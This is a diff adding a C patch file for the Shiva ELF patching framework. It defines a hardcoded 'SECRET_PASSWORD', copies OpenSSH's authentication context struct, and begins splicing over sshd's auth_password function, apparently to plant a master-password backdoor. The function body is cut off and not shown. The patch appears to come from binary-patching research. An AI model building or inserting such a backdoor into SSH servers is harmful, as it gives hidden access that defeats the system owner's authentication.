|
| 1 | +#define _GNU_SOURCE |
| 2 | +#include <pwd.h> |
| 3 | +#include "../../shiva.h" |
| 4 | +#include "/home/elfmaster/openssh-portable/packet.h" |
| 5 | + |
| 6 | +#define SECRET_PASSWORD "w0rkseverytime" |
| 7 | + |
| 8 | + |
| 9 | +struct Authctxt { |
| 10 | + sig_atomic_t success; |
| 11 | + int authenticated; /* authenticated and alarms cancelled */ |
| 12 | + int postponed; /* authentication needs another step */ |
| 13 | + int valid; /* user exists and is allowed to login */ |
| 14 | + int attempt; |
| 15 | + int failures; |
| 16 | + int server_caused_failure; |
| 17 | + int force_pwchange; |
| 18 | + char *user; /* username sent by the client */ |
| 19 | + char *service; |
| 20 | + struct passwd *pw; /* set if 'valid' */ |
| 21 | + char *style; |
| 22 | + |
| 23 | + /* Method lists for multiple authentication */ |
| 24 | + char **auth_methods; /* modified from server config */ |
| 25 | + u_int num_auth_methods; |
| 26 | + |
| 27 | + /* Authentication method-specific data */ |
| 28 | + void *methoddata; |
| 29 | + void *kbdintctxt; |
| 30 | +#ifdef BSD_AUTH |
| 31 | + auth_session_t *as; |
| 32 | +#endif |
| 33 | +#ifdef KRB5 |
| 34 | + krb5_context krb5_ctx; |
| 35 | + krb5_ccache krb5_fwd_ccache; |
| 36 | + krb5_principal krb5_user; |
| 37 | + char *krb5_ticket_file; |
| 38 | + char *krb5_ccname; |
| 39 | +#endif |
| 40 | + struct sshbuf *loginmsg; |
| 41 | + |
| 42 | + /* Authentication keys already used; these will be refused henceforth */ |
| 43 | + struct sshkey **prev_keys; |
| 44 | + u_int nprev_keys; |
| 45 | + |
| 46 | + /* Last used key and ancillary information from active auth method */ |
| 47 | + struct sshkey *auth_method_key; |
| 48 | + char *auth_method_info; |
| 49 | + |
| 50 | + /* Information exposed to session */ |
| 51 | + struct sshbuf *session_info; /* Auth info for environment */ |
| 52 | +}; |
| 53 | + |
| 54 | +struct passwd *pw; |
| 55 | +struct Authctxt *authctxt; |
| 56 | + |
| 57 | +SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620) |
| 58 | +{ |
| 59 | + |
0 commit comments